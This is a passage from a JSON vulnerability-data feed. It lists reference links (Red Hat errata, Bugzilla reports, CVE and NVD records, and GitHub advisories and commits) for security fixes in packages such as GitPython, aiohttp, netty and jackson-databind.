d=2499928","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500739","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510825","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510831","tags":["report"]},{"url":"https://issues.redhat.com/browse/SAT-48474","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63327.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-10051","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-10051","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10051","tags":["advisory"]},{"url":"https://gitlab.eclipse.org/security/cve-assignment/-/work_items/119","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34993","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34993","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34993","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45363","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45363","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45363","tags":["advisory"]},{"url":"https://github.com/jwt/ruby-jwt/commit/9820020869ad147b941e49d96ab8beba35532964","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/commit/db560b769a07bd9724e77ff505011ac01872106f","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/releases/tag/v2.10.3","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/releases/tag/v3.2.0","tags":["article"]},{"url":"https://github.com/jwt/ruby-jwt/security/advisories/GHSA-c32j-vqhx-rx3x","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69243","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69243","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69243","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/6ae358f0983c3f4d6f67692b2f8e65dc8e091c98","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/pull/13017","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.2","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-mfx4-hv73-q22v","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69244","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69244","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69244","tags":["advisory"]},{"url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/pull/13223","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3","tags":["article"]},{"url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:63385","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/SAT-45592","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-46105","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48574","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48584","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48585","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48586","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48587","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48588","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48589","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48628","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63385.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-11332","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-11332","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332","tags":["advisory"]},{"url":"https://github.com/ansible/ansible","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-16493","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2503724","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-16493","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16493","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42215","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467802","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42215","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42215","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47","tags":["article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42284","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467800","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42284","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42284","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44244","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2467804","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44244","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44244","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49","tags":["article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73620","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515261","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73620","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73620","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-and-read","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73622","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515269","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73622","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73622","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2","tags":["article"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73623","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515275","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73623","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73623","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73624","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515243","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73624","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73624","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-diff","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73625","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515272","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73625","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73625","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76218","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519603","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76218","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76218","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76219","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519597","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76219","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76219","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76220","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519610","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76220","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76220","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76221","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519596","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76221","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76221","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-config-injection-via-option-name","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-76222","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519609","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-76222","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76222","tags":["advisory"]},{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:63386","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/SAT-46099","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48690","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48691","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48692","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48693","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48697","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-49372","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63386.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:63387","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/SAT-42127","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-45924","tags":["article"]},{"url":"https://issues.redhat.com/browse/SAT-48680","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_63387.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70228","tags":["advisory"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/8.1","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/8.1/html/release_notes_for_red_hat_jboss_enterprise_application_platform_8.1/index","tags":["article"]},{"url":"https://access.redhat.com/articles/7137769","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455350","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477945","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2478013","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480638","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2480729","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2483140","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2484703","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488304","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488309","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492010","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492016","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2492627","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2494771","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500653","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2503101","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2503103","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2505422","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2505911","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2507482","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510195","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510722","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2515377","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2521309","tags":["report"]},{"url":"https://issues.redhat.com/browse/JBEAP-32314","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-32869","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33162","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33185","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33236","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33237","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33288","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33363","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33405","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33409","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33413","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33449","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33459","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33501","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33579","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33616","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33640","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33683","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33848","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33871","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33904","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33925","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33967","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33968","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-33973","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34018","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34095","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34096","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34111","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34161","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34222","tags":["article"]},{"url":"https://issues.redhat.com/browse/JBEAP-34521","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70228.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-5680","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-5680","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5680","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-10832","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-10832","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10832","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-14180","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-14180","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14180","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44417","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44417","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44417","tags":["advisory"]},{"url":"https://lists.apache.org/thread/bqg6gjy2cx7rfyqjxcpv3jwjvmclvz4o","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49362","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49362","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49362","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49363","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49363","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49363","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49364","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49364","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49364","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49875","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49875","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49875","tags":["advisory"]},{"url":"http://www.openwall.com/lists/oss-security/2026/06/11/2","tags":["article"]},{"url":"https://lists.apache.org/thread/3kb9w5bg90xcp06fccoz9k3gpsvyy79o","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-50632","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-50632","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50632","tags":["advisory"]},{"url":"https://lists.apache.org/thread/740ghch5z5y675cn2kzgtyo5k37n6qcw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54513","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54513","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54513","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/01d1692c8d0ed03e51a0e3c4f8a9e6908e4931e5","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/24529da29fdf46ff94ca38de9ebf31cd188f5e8e","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5981","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5983","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/pull/5984","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rmj7-2vxq-3g9f","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-54515","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54515","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54515","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5962","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/5964","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-55831","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55831","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55831","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["article"]},{"url":"https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6","tags":["article"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final","tags":["article"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final","tags":["article"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-55833","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55833","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55833","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56745","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56745","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56745","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56746","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56746","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56746","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-57967","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-57967","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57967","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59649","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59649","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59649","tags":["advisory"]},{"url":"https://github.com/bcgit/bc-java/commit/a43c40dc12c3e1c6cbd03c83fe30aaec4029b824","tags":["article"]},{"url":"https://github.com/bcgit/bc-java/wiki/CVE-2026-59649","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59889","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59889","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59889","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-databind/commit/d627a8a86fcb062429282f79f3f256f181ed2c7b","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/issues/6060","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/pull/6056","tags":["article"]},{"url":"https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5gvw-p9qm-jgwh","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59899","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59899","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59899","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww","tags":["article"]},{"url":"https://netty.io/news/2026/07/09/4-1-136-Final.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-62243","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-62243","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62243","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-p85m-gvr3-788c","tags":["article"]},{"url":"https://www.vulncheck.com/advisories/netty-through-tls-hostname-verification-bypass","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69152","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69152","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69152","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-73508","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-73508","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73508","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-mfg7-5gfp-c4w3","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-85511","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-85511","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85511","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70229","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/JBEAP-33580","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70229.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:70230","tags":["advisory"]},{"url":"https://issues.redhat.com/browse/JBEAP-33581","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_70230.json","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:76128","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_76128.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-9784","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2392306","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-9784","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-9784","tags":["advisory"]},{"url":"https://github.com/undertow-io/undertow/pull/1778","tags":["article"]},{"url":"https://github.com/undertow-io/undertow/releases/tag/2.2.38.Final","tags":["article"]},{"url":"https://issues.redhat.com/browse/UNDERTOW-2598","tags":["article"]},{"url":"https://kb.cert.org/vuls/id/767506","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-12543","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2408784","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-12543","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-12543","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-0603","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2427147","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-0603","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0603","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-2092","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2437296","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-2092","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2092","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-2575","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2440149","tags":["report"]},{"url":"https://www.cve.